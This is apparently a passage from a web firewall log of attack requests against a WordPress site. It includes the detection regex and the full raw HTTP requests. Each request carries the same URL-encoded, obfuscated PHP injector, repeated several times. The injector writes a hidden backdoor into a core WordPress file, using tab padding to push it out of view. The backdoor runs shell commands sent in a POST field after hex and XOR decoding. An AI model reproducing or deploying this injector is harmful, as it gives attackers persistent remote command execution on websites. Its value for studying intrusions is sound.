257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5317\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnTxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nhi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:37","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:5340\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:51:39","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5317\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nKX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24cont